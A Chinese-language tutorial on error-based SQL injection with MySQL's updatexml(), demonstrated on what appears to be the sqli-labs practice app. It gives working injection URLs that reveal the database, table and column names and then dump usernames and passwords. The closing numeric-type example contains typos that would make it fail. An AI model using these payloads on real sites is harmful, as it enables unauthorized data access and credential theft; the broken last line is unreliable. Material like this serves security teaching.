#介绍
Updatexml()函数
Updatexml(XML_Document,Xpath_string,new_value)包含三个参数
第一个参数:XML_Document是string的格式,为XML文档的对象的名称,例如Doc
第二个参数:XPath_string是路径,Xpath格式的字符串
第三个参数:new_value,string格式,替换查找到的符号条件的数据
#updatexml报错原理
Updatexml的报错原理是和extractvalue()的报错原理是完全一致的,
使用select updatexml,完了之后在使用路径的时候故意将他路径写错,从而引起他的报错。我们在使用也是在报错之前执行一个select的查询,然后等到他报错之后的回显,回显出来 的就是我们想要查看的内容了
注:updatexml和extracevalue一样,都只能查询出来32位的字符串,所以依旧要使用substring的函数
# updatexml()注入书写方式解析
and 1=updatexml(1,2,3)
1:第一个参数随便写
2.concat(1,2)
(1):0x7e或者'~'
(2):(select 查询语句)
3.第三个参数也随便写
例: and 1=updatexml(1,concat('~',(select database())),3)
#案例演示
利用updatexml()报错注入
1.判断字符型/数字型,如果是字符型判断闭合方式
先丢个单引号进去,页面正常
在丢个"双引号进去,页面报错
把报错的内容拿出来
'"1"" LIMIT 0,1'
"1"" LIMIT 0,1
红色双引号为我们输入的内容
通过页面的回显报错确定使用的是”双引号进行闭合
2.获取数据库名
?id=1" and updatexml(1,concat('~',(select database())),3) --+
确定数据为security
3.获取数据表
?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database())),3) --+
数据表
emails
referers
agents
users
4.获取users数据表中的所有字段信息
?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3)--+
字段为
id
username
password
5.脱库(使用substring函数进行)
?id=1" and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'--',password),1,30)from security.users)),3) --+
需要 看更多的用户信息只需要把substr的 后面 两个 参数进行更改就好
以上就是字符型的报错注入,如果是数字型的话一样的,只是不需要闭合和注释直接测试就好
就比如?id=1 and=updatexml(1,concat('~',(select databatse())),3)